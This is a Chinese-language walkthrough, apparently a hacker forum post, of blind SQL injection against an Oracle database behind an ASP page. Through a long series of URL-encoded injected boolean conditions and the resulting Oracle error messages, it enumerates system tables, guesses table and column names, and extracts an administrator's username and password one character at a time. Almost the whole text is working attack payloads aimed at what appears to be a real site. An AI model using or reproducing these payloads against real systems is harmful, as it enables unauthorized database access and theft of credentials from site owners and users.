******************************************************************

下面需要知道ORACLE的系统表：

确定表中行的总数：

select num_rows from user_tables where table_name='表名 ----------------------存放当前用户所有表
where table_name='表名
'selectcolumn_name,
from user_tab_columns -----------------------存放所有列
where table_name='表名'

and 0<>(select count(*) from all_tables) and '1'='1
---------------------------------------------------------------------
存在！
all_tables是一个系统表,用来存放当前ID和其他用户的所有表

and 0<>(select count(*) from user_tables) and '1'='1
---------------------------------------------------------------------

返回。有这个系统表，这个表存放当前用户的所有表

and 0<>(select top 1 table_name from user_tables) and '1'='1
---------------------------------------------------------------------------------
OraOLEDB 错误 '80040e14' ORA-00923:
FROM keyword not found where expected
/star.asp，行83

不支持TOP 1 ?。。。。。。这种解释好象不太理想。。。
(经过PINKEYES测试已经确定确实不支持TOP 1)

and 0<>(select count(*) from user_tables where table_nam<>'') and '1'='1
--------------------------------------------------------------------------------------------

OraOLEDB 错误 '80040e14' ORA-00904:
invalid column name /star.asp，行83

当语法错误时,会显示无效列名字

and 0<>(select count(*) from user_tables where table_name<>'''') and '1'='1
--------------------------------------------------------------------------------------------

语法正确时，成功返回标志,看来四个单引号表示空.接下来是对一些函数的测试：

and 0<>(select count(*) from user_tables where sum(table_name)>1) and '1'='1
------------------------------------------------------------------------------------------------

OraOLEDB 错误 '80040e14' ORA-00934:
group function is not allowed here
/star.asp，行83
组函数不允许在这里。

and 0<>(select count(*) from user_tables where avg(table_name)) and '1'='1
-------------------------------------------------------------------------------------------

OraOLEDB 错误 '80040e14' ORA-00934:
group function is not allowed here /star.asp，行83

组函数不允许在这里。

and 0<>(select to_char(table_name) from user_tables) and%20'1'='1
--------------------------------------------------------------------------

OraOLEDB 错误 '80004005' ORA-01427:
single-row subquery returns more than one row
/star.asp，行83
单行的子查询返回多于一行

and 0<>(select count(*) from user_tables where table_name+1) and%20'1'='1
--------------------------------------------------------------------------

OraOLEDB 错误 '80040e14' ORA-00920:
invalid relational operator
/star.asp，行83

测试到这里，下面看看怎么弄出他的表来：

and 0<>(select count(*) from performer) and%20'1'='1
-----------------------------------------------------

成功返回。这里的表是看前面URL猜的.

and 0<>(select count(*) from user_tables where table_name='performer') and%20'1'='1
-------------------------------------------------------------------------------------
没返回。失败标志。

and%200<>(select%20count(*)%20from%20user_tables%20where%20table_name='PERFORMER') and%20'1'='1
------------------------------------------------------------------------------------------------

成功了！ 看来这个user_tables表只认识大写字母！

and 0<>(select count(*) from user_tables where length(table_name)>10) and%20'1'='1
------------------------------------------------------------------------------------

用length函数确定最长表的位数

and 0<>(select count(*) from user_tables where length(table_name)=18) and%20'1'='1
-------------------------------------------------------------------------------------

省略若干步骤，最后确定最长表为18位。

and 0<>(select count(*) from user_tables where substr(table_name,1,1)='A') and%20'1'='1
-----------------------------------------------------------------------------------------

第一位为'A'，

and 0<>(select count(*) from user_tables where substr(table_name,1,2)='AD') and%20'1'='1
-----------------------------------------------------------------------------------------

第二位为'AD'

and 0<>(select count(*) from user_tables where substr(table_name,1,18)='ADMINAUTHORIZATION') and%20'1'='1
---------------------------------------------------------------------------------------------
省略若干，18位的表名为'ADMINAUTHORIZATION'。

and 1=(select count(*) from user_tables where table_name='ADMINAUTHORIZATION') and%20'1'='1
--------------------------------------------------------------------------------------------
返回。

and 0<>(select count(*) from user_tables where length(table_name)=2) and%20'1'='1
----------------------------------------------------------------------------------

最小表名长度为2

and%200<>(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20'%25user%25')%20and%20%20'1'='1
-------------------------------------------------------------------------------------------------

没返回。

and%200<>(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20'%25ADMIN%25')%20and%20'1'='1
-------------------------------------------------------------------------------------------------

and%200<>(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20'%25PER%25') and%20'1'='1
-------------------------------------------------------------------------------------------------

and%200<>(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20'%25BBS%25')%20and%20'1'='1
-------------------------------------------------------------------------------------------------

都成功返回。看来可以利用LIKE猜。

and%200<>(select%20count(*)%20from%20user_tables%20where%20table_name%20like'%25BBS%25'%20and%20length(table_name)>8) and%20'1'='1
-------------------------------------------------------------------------------------------------
and%200<>(select%20count(*)%20from%20user_tables%20where%20table_name%20like'%25BBS%25'%20and%20length(table_name)>10)%20and%20'1'='1
-------------------------------------------------------------------------------------------------

and%200<>(select%20count(*)%20from%20user_tables%20where%20table_name%20like'%25BBS%25'%20and%20length(table_name)=10)%20and%20'1'='1
-------------------------------------------------------------------------------------------------
利用LIKE和LENGTH组合猜，马上就能确定长度。

and%200<>(select%20count(*)%20from%20user_tables%20where%20substr(table_name,1,4)='BBSS')%20and%20'1'='1
-------------------------------------------------------------------------------------------------
猜出第四位是S。接下来就是重复劳动了。

and%200<>(select%20count(*)%20from%20user_tables%20where%20substr(table_name,1,10)='BBSSUBJECT')%20and%20'1'='1
-------------------------------------------------------------------------------------------------
猜出来了。'BBSSUBJECT'

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name='BBSSUBJECT'%20and%20column_name%20like%20'%25USER%25')%20and%20'1'='1
-------------------------------------------------------------------------------------------------

-------------------------------------------------------------------------------------------------

没返回，不象是保存用户和密码的表。再来。。。

and%200<>(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20'%25USER%25')%20and%20'1'='1
-------------------------------------------------------------------------------------------------

-------------------------------------------------------------------------------------------------

确定长度为15。

and%200<>(select%20count(*)%20from%20user_tables%20where%20substr(table_name,1,1)='U'%20and%20length(table_name)=15)%20and%20'1'='1

and%200<>(select%20count(*)%20from%20user_tables%20where%20length(table_name)=15%20and%20substr(table_name,-15,15)='UNSUBSCRIBEUSER')%20and%20'1'='1
-------------------------------------------------------------------------------------------------
and%200<>(select%20count(*)%20from%20user_tables%20where%20table_name='UNSUBSCRIBEUSER')%20and%20'1'='1
-------------------------------------------------------------------------------------------------

确定表名'UNSUBSCRIBEUSER'，接下来猜是否有密码字段。。。

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name='UNSUBSCRIBEUSER'%20and%20column_name%20like%20'%25USER%25')%20and%20'1'='1
-------------------------------------------------------------------------------------------------

-------------------------------------------------------------------------------------------------
LIKE PASS，没返回，郁闷，继续。

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20column_name%20like%20'%25PASS%25'%20and%20length(table_name)=13)%20and%20'1'='1
-------------------------------------------------------------------------------------------------
返回。不准确。

-------------------------------------------------------------------------------------------------
and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20substr(column_name,-2,2)='SS') and%20'1'='1
-------------------------------------------------------------------------------------------------
and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20substr(column_name,6,2)='SS')%20and%20'1'='1
-------------------------------------------------------------------------------------------------
and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20substr(column_name,4,4)='PASS') and%20'1'='1
-------------------------------------------------------------------------------------------------
这里用SUBSTR缩小范围.

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20substr(column_name,4,4)='PASS'%20and%20length(column_name)=11)%20and%20'1'='1
-------------------------------------------------------------------------------------------------

含有PASS字段的字段长度11位。根据上面的从4位开始数4位是PASS 那么PASS前是3位，后是4位，一共是11位。

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20substr(column_name,4,8)='PASSWORD')%20and%20'1'='1
-------------------------------------------------------------------------------------------------

猜一下，果然是。。。

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20substr(column_name,-11,11)='STRPASSWORD')%20and%20'1'='1
-------------------------------------------------------------------------------------------------

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20column_name='STRPASSWORD')%20and%20'1'='1
-------------------------------------------------------------------------------------------------

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20column_name='STRPASSWORD'%20and%20length(table_name)=13)
-------------------------------------------------------------------------------------------------
and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20column_name='STRPASSWORD'%20and%20length(table_name)=13)%20and%20'1'='1
-------------------------------------------------------------------------------------------------

全返回，确定密码字段名字'STRPASSWORD'。把密码字段抓到就好办了，再利用他抓表名：

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20column_name='STRPASSWORD'%20and%20length(table_name)=13) and '1'='1
-------------------------------------------------------------------------------------------------

返回，和上面猜出的表名长度符合。用SUBSTR猜出他名字：

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20column_name='STRPASSWORD'%20and%20substr(table_name,1,13)='ADMINISTRATOR') and '1'='1
-------------------------------------------------------------------------------------------------
and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20column_name='STRPASSWORD'%20and%20table_name='ADMINISTRATOR') and '1'='1
-------------------------------------------------------------------------------------------------
and%200<>(select%20count(*)%20from%20user_tables%20where%20table_name='ADMINISTRATOR') and '1'='1
-------------------------------------------------------------------------------------------------

全返回，确定表名为：'ADMINISTRATOR'.

and%208=(select%20count(*)%20from%20user_tab_columns%20where%20table_name='ADMINISTRATOR') and '1'='1
-------------------------------------------------------------------------------------------------

猜出表里有8个字段。

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name='ADMINISTRATOR'%20and%20column_name%20like%20'%25ID%25')%20and%20'1'='1
-------------------------------------------------------------------------------------------------
and%203=(select%20count(*)%20from%20ADMINISTRATOR) and '1'='1
-------------------------------------------------------------------------------------------------
and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name='ADMINISTRATOR'%20and%20substr(column_name,4,2)='ID')%20and%20'1'='1
-------------------------------------------------------------------------------------------------
and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name='ADMINISTRATOR'%20and%20substr(column_name,-2,2)='ID')%20and%20'1'='1
-------------------------------------------------------------------------------------------------
可以判断是ID结尾了，长度为5。

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name='ADMINISTRATOR'%20and%20substr(column_name,-5,5)='LNGID')%20and%20'1'='1
-------------------------------------------------------------------------------------------------
and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name='ADMINISTRATOR'%20and%20column_name='LNGID')%20and%20'1'='1
-------------------------------------------------------------------------------------------------
出来了，LNGID。

and%200<>(select%20count(*)%20from%20ADMINISTRATOR%20where%20length(LNGID)=2)%20and%20'1'='1
-------------------------------------------------------------------------------------------------
and%208=(select%20min(LNGID)%20from%20ADMINISTRATOR)%20and%20'1'='1
-------------------------------------------------------------------------------------------------
and%2021=(select%20max(LNGID)%20from%20ADMINISTRATOR)%20and%20'1'='1
-------------------------------------------------------------------------------------------------
最小ID，最大ID也出来，接下来弄密码：

and%200<>(select%20count(*)%20from%20ADMINISTRATOR%20where%20length(STRPASSWORD)=4%20and%20LNGID=8)%20and%20'1'='1
-------------------------------------------------------------------------------------------------
LNGID为8的密码长度为4

and%200<>(select%20count(*)%20from%20ADMINISTRATOR%20where%20ascii(substr(STRPASSWORD,1,1))=116%20and%20LNGID=8)%20and%20'1'='1
-------------------------------------------------------------------------------------------------
第一位
and%200<>(select%20count(*)%20from%20ADMINISTRATOR%20where%20ascii(substr(STRPASSWORD,2,1))=101%20and%20LNGID=8)%20and%20'1'='1
-------------------------------------------------------------------------------------------------
第二位
and%200<>(select%20count(*)%20from%20ADMINISTRATOR%20where%20ascii(substr(STRPASSWORD,3,1))=115%20and%20LNGID=8)%20and%20'1'='1
-------------------------------------------------------------------------------------------------
第三位
and%200<>(select%20count(*)%20from%20ADMINISTRATOR%20where%20ascii(substr(STRPASSWORD,4,1))=116%20and%20LNGID=8)%20and%20'1'='1
-------------------------------------------------------------------------------------------------
第四位

STRPASSWORD：test

and%200<>(select%20count(*)%20from%20ADMINISTRATOR%20where%20STRPASSWORD='test'%20and%20LNGID=8)%20and%20'1'='1
-------------------------------------------------------------------------------------------------

OH,YEAH~~密码出来了。

接着搞用户名：

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name='ADMINISTRATOR'%20and%20column_name%20like%20'%25NAME%25')%20and%20'1'='1
-------------------------------------------------------------------------------------------------

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name='ADMINISTRATOR'%20and%20substr(column_name,4,4)='NAME')%20and%20'1'='1
-------------------------------------------------------------------------------------------------

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name='ADMINISTRATOR'%20and%20substr(column_name,-4,4)='NAME')%20and%20'1'='1
-------------------------------------------------------------------------------------------------

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name='ADMINISTRATOR'%20and%20substr(column_name,1,7)='STRNAME')%20and%20'1'='1
-------------------------------------------------------------------------------------------------

出来了，字段：STRNAME

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name='ADMINISTRATOR'%20and%20column_name%20not%20in('STRNAME','STRPASSWORD','LNGID'))%20and%20'1'='1
-------------------------------------------------------------------------------------------------
and%200<>(select%20count(*)%20from%20ADMINISTRATOR%20where%20STRPASSWORD='test'%20and%20LNGID=8%20and%20length(STRNAME)=4)%20and%20'1'='1
-------------------------------------------------------------------------------------------------
STRNAME值长度为4，不会是和密码相同吧。。。

and%200<>(select%20count(*)%20from%20ADMINISTRATOR%20where%20STRPASSWORD='test'%20and%20LNGID=8%20and%20STRNAME='test')%20and%20'1'='1
-------------------------------------------------------------------------------------------------
呵呵，果然。

表名ADMINISTRATOR，列名：STRNAME,STRPASSWORD,LNGID

LNGID=8 STRNAME=test STRPASSWORD=test
